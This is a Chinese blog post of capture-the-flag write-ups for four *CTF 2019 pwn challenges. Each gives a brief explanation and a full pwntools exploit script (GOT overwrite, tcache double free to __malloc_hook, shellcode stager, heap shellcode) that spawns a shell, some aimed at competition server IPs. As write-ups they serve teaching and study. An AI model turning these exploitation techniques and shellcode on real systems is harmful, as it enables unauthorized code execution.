盒子
盒子
文章目录
  1. 前言:
  2. 正文:
    1. quicksort:
      1. EXP:
    2. girlfriend:
      1. EXP:
    3. babyshell:
      1. EXP:
    4. upxofcpp:
      1. EXP:

2019-*CTF-PWN

前言:

大概是最后几篇writeup了,整理完之后就专心搞浏览器了,今天整理下来发现自己做的,和待做的题都很多。感受到了这两年自己的锻炼还是有的。当然了,我不可能一直玩着ctf,该舍弃的还是得舍弃的,虽然确实很舍不得,舍不得比赛的一些有趣的事和人。还是得脱离这个舒适区去真实的锻炼自己的。那么现在也就差不多了。

正文:

就不细写了,粗略的写一下*CTF的题目,有一道细写了一下,那道题对我来说收获其实还蛮多的。

quicksort:

有一块任意写。

  1. 先把free@got修改为main,无限执行。
  2. 再泄漏出got表上的地址。
  3. 修改mallocsystem

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

#p = process('./quicksort')
p = remote('34.92.96.238',10000)
elf = ELF('./quicksort')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

free_got = 0x804A018
main_addr = 0x8048816
stack_check_addr = 0x804A024
ret_addr = 0x080484ae
malloc_addr = 0x804A028

p.recvuntil('how many numbers do you want to sort?\n')
p.sendline('1')
p.recvuntil('the 1th number:')
payload = str(main_addr) + '\x00'
payload += 'A'*(16-len(payload)) + p32(1) + p32(0)*2
payload += p32(free_got)
p.sendline(payload)

p.recvuntil('how many numbers do you want to sort?\n')
p.sendline('3')
p.recvuntil('the 1th number:')
payload2 = str(ret_addr) + '\x00'
payload2 += 'A'*(16-len(payload2)) + p32(3) + p32(2)*2
payload2 += p32(stack_check_addr-8)
p.sendline(payload2)

p.recvuntil('Here is the result:\n-')
data = p.recv(9)
data = int(data,10)
getchar_addr = 0x100000000 - data
libc_base = getchar_addr - libc.symbols['getchar']
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()
print hex(libc_base),hex(bin_addr)

p.recvuntil('how many numbers do you want to sort?\n')
p.sendline('1')
p.recvuntil('the 1th number:')
system_addr = 0x100000000 - system_addr
payload3 = '-' + str(system_addr) + '\x00'
payload3 += 'A'*(16-len(payload3)) + p32(1) + p32(0)*2
payload3 += p32(malloc_addr)
p.sendline(payload3)

p.recvuntil('how many numbers do you want to sort?\n')
#gdb.attach(p)
p.sendline('-'+str((0x100000000 - bin_addr)/4 - 1))

p.interactive()

#*CTF{lSkR5u3LUh8qTbaCINgrjdJ74iE9WsDX}

girlfriend:

tcache的蛮简单一道题。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

p = process('./chall')
#p = remote('34.92.96.238',10001)
elf = ELF('./chall')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

def add(size,name,call):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('name')
p.sendline(str(size))
p.recvuntil('name:')
p.send(name)
p.recvuntil('call:')
p.send(call)

def show(idx):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(idx))

def delete(idx):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(idx))

for i in range(10):
add(0x90,'A'*0x90,'A')
for i in range(7):
delete(i)
delete(8)
show(8)
p.recvuntil('name:\n')
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 4111520
system_addr = libc_base + libc.symbols['system']
malloc_addr = libc_base + libc.symbols['__malloc_hook']
print hex(libc_base)+','+hex(malloc_addr)

add(0x90,'A'*0x90,'A')
for i in range(10):
add(0x60,'A'*0x60,'A')
for i in range(7):
delete(i+11)
delete(18)
delete(19)
delete(18)

for i in range(7):
add(0x60,'A'*0x60,'A')

add(0x60,p64(malloc_addr),'A')
add(0x60,'A'*0x60,'A')
add(0x60,'A'*0x60,'A')
add(0x60,p64(system_addr),'A')

gdb.attach(p)

p.interactive()

babyshell:

调用syscallread即可。简单的shellcode编写:

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

#p = process('./shellcode')
p = remote('34.92.37.22',10002)
context.arch = 'amd64'
context.os = 'Linux'

p.recvuntil('give me shellcode, plz:\n')

payload = asm('''
pop rdx
pop rdx
pop rdx
pop rdx
pop rdi
pop rdi
syscall
'''
)

p.sendline(payload)

payload2 = asm(shellcraft.sh())
#gdb.attach(p)
p.sendline('A'*len(payload) + payload2)

p.interactive()

#*CTF{LtMh5VbedHlngmKOS2cwWRo4AkDGzCBy}

upxofcpp:

这里就用了一个upx加壳的特性,加壳之后有很大一块面积是可执行的。而且一些不加壳的保护也会被加壳改变。所以需要用加壳的elf去调试。

node结构体中存在指向函数调用的func_table,通过构造使得func_table指到堆,使得*func_table的show函数指向堆上,在show函数指向的堆上构造shellcode。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

p = process('./upx')
#p = remote('34.92.121.149',10000)
elf = ELF('./upx')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def add(index,size,integer):
p.sendlineafter('Your choice:','1')
p.sendlineafter('Index:',str(index))
p.sendlineafter('Size:',str(size))
p.sendlineafter('integers, -1 to stop:',str(integer))
p.sendline('-1')

def delete(index):
p.sendlineafter('Your choice:','2')
p.sendlineafter('vec index:',str(index))

def show(index):
p.sendlineafter('Your choice:','4')
p.sendlineafter('vec index:',str(index))

add(0,0x40/4,1)
add(1,0x20/4,2)
add(2,0x1000/4,3)
delete(1)
delete(0)
delete(2)
p.sendlineafter('Your choice:','1')
p.sendlineafter('Index:',str(3))
p.sendlineafter('Size:',str(0x68/4))

payload = '-'+str(0x47b79796)
p.sendlineafter('integers, -1 to stop:',payload)
p.sendline(str(0x6e69622f))
p.sendline(str(0x732f2f2f))
p.sendline('-'+str(0x1876b7b0))
p.sendline(str(0x01697268))
p.sendline(str(0x24348101))
p.sendline(str(0x01010101))
p.sendline(str(0x6a56f631))
p.sendline(str(0x01485e08))
p.sendline('-'+str(0x76b7a91a))
p.sendline(str(0x6ad231e6))
p.sendline(str(0x050f583b))
p.sendline(str(1))
p.sendline(str(1))
p.sendline(str(1))
p.sendline(str(1))
p.sendline(str(1))
p.sendline(str(1))
p.sendline(str(1))
p.sendline(str(1))
p.sendline(str(1))
p.sendline(str(1))
p.sendline(str(1))
p.sendline(str(1))
p.sendline(str(40683))
p.sendline(str(-1))

#gdb.attach(p)

show(1)

p.interactive()
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫